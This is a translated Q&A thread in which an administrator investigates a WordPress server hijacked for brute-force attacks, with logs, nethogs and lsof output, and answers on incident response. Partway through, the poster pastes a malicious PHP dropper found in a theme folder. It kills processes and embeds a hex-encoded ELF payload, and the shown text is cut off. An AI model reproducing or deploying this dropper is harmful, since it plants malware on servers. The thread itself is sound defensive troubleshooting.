Кто-то злоупотребляет моим сервером, но как мне остановить это?

Кто-то злоупотребляет моим сервером, но как мне остановить это?

Я начинающий системный администратор на куче виртуализированных веб-серверов. Недавно мы получили письмо о том, что один из наших серверов используется для атак методом «грубой силы». Содержание письма было похоже на следующее.

Привет,

Команда /somehost/ abuse сообщает вам, что мы предприняли массовые попытки взлома панели управления Joomla/WordPress на нашем сервере виртуального хостинга /somehost/.ru /ip-number/ из вашей сети с IP-адреса /my-ip-address/

За последние 30 минут мы зафиксировали 1500 попыток, подобных этой:

/мой-ip-адрес/ /их-домен/ - [12/янв./2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/мой-ip-адрес/ /их-домен/ - [12/янв./2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/мой-ip-адрес/ /их-домен/ - [12/янв./2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/мой-ip-адрес/ /их-домен/ - [12/янв./2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/мой-ip-адрес/ /их-домен/ - [12/янв./2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

Общее количество таких попыток, зафиксированных ранее на этом сервере (/some-host/.ru)[/their-ip/]:

====

Это сообщение было отправлено автоматически системой безопасности /some-company-name/. Ваш адрес электронной почты получен из общедоступных служб WhoIs. Приносим извинения за беспокойство, если вы получили это сообщение по ошибке. Пожалуйста, свяжитесь с нами, если ваш адрес электронной почты не имеет отношения к этому IP-адресу или сети.

====

Спасибо, команда /somehost/ abuse

http:// /somehost/ точка ru

/какой-то номер телефона в россии/,

/еще несколько контактных данных в россии/

  • Что мне думать об этом письме? Это мошенничество или важное сообщение, которое нельзя игнорировать?

Мне кажется странным, что они пишут «Joomla/Wordpress», когда в их логах явно видно, что «wp-login.php» — это PHP-скрипт из WordPress.

На нашем сервере мы размещаем несколько блогов WordPress через Webmin/Virtualmin и сервер Squid, который недоступен извне.

Я наблюдал за трафиком с iftopи nethogsнекоторое время и не вижу ничего подозрительного. Журнал доступа squid мне кажется нормальным.

В «защищенном» журнале мы видим множество попыток входа на наш сервер, но никому не удается получить к нему доступ.

См. следующий дамп из безопасного источника.

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

И еще один.

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

С помощью «who» я ясно вижу, что только я вошел в систему через SSH.

Сегодня я обновил все модули Webmin и Virtualmin, а также Squid до последних версий.

  • Что нам делать сейчас? Каковы должны быть наши следующие шаги, чтобы защитить сервер от использования для атак?
  • А нужно ли это вообще?
  • Какие файлы журналов или конфигурации нам следует изменить/посмотреть?

РЕДАКТИРОВАТЬ:

Что я сделал до сих пор:

  • Я проверил файлы, которые изменились на дату атаки (по данным нашего провайдера, на нашем IP было почти 50 ГБ трафика) с помощью find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Ничего не изменилось.
  • Я проверил AWStats для всех наших доменов. Ни один домен не передал более 40 МБ по данным AWStats.
  • WordPress был обновлен на день атаки.
  • Я обновил все модули Webmin и Virtualmin.
  • Я обновил Squid и изменил его порт на другой, нежели 3128. Я оставил только 80, 443 и 21 в качестве «безопасных» портов.
  • Я обновил fail2ban.

Я не хочу отключать сервер от интернета, как предлагается вЧто делать, если сервер взломан?. Наши данные сохранены, поэтому в настоящее время мы в безопасности. Однако я хотел бы узнать, что стало причиной атаки, но я все еще не могу этого сделать.

ИЗМЕНИТЬ 15.01.2014:

Мне nethogsудалось выяснить, что /usr/bin/hostон получает и отправляет гораздо больше данных, чем ожидалось.

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

При запуске lsofPID вы можете ясно увидеть, что с установкой WordPress что-то действительно не так.

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

Мне нужно будет взглянуть home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.

Просто все файлы, которые были изменены в январе 2014 года, отсутствуют в стандартной установке темы Twenty Eleven WordPress. Например, есть скрипт, initvsafe.phpкоторый можно использовать для хранения файлов в файловой системе.

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...

решение1

Вероятно, это законно. Причина, по которой явно не указано wordpress, заключается в том, что это автоматическое сообщение — отправленное автоматически каким-то скриптом, который обнаруживает подобные атаки и сообщает об этом владельцам источника.

Если ваши серверы были взломаны, первое, что сделает злоумышленник, это установит измененные двоичные файлы для who, ls и подобных команд, чтобы скрыть свою собственную активность. И удалит записи о своем входе в систему из журналов. Так что, возможно, вы скомпрометированы. Что делать, если сервер взломан?охватывает то, что делать.

Скорее всего, они не получили доступ через SSH, а через что-то вроде PHP-скрипта, который действует как прокси-сервер. Проверьте все свои веб-сайты на наличие файлов, которые им не принадлежат. Проверьте также журналы доступа на предмет необычной активности. Проверьте устаревшие (или даже актуальные, но с зарегистрированными уязвимостями) версии wordpress, phpmyadmin и т. д.

решение2

Вы также можете проверить, не выдает ли rkhunter что-нибудь подозрительное. Реальная проблема в том, что как только сервер скомпрометирован, особенно если вы пропатчили fail2ban и другие пакеты, может быть безопаснее отключить его, даже если это всего лишь для того, чтобы перенести часть доказательств (логи) на другую машину. Как упомянул Грант, вы не можете быть уверены, что логи не были подделаны/удалены, чтобы замести следы, поэтому предполагайте худшее.

Возможно, вам также захочется просмотреть логи fail2ban, чтобы увидеть, нет ли там чего-нибудь необычного.

Возможно, вам также будет интересно ознакомиться с частью 14.6 руководства Debian, посвященной скомпрометированным системам.

Связанный контент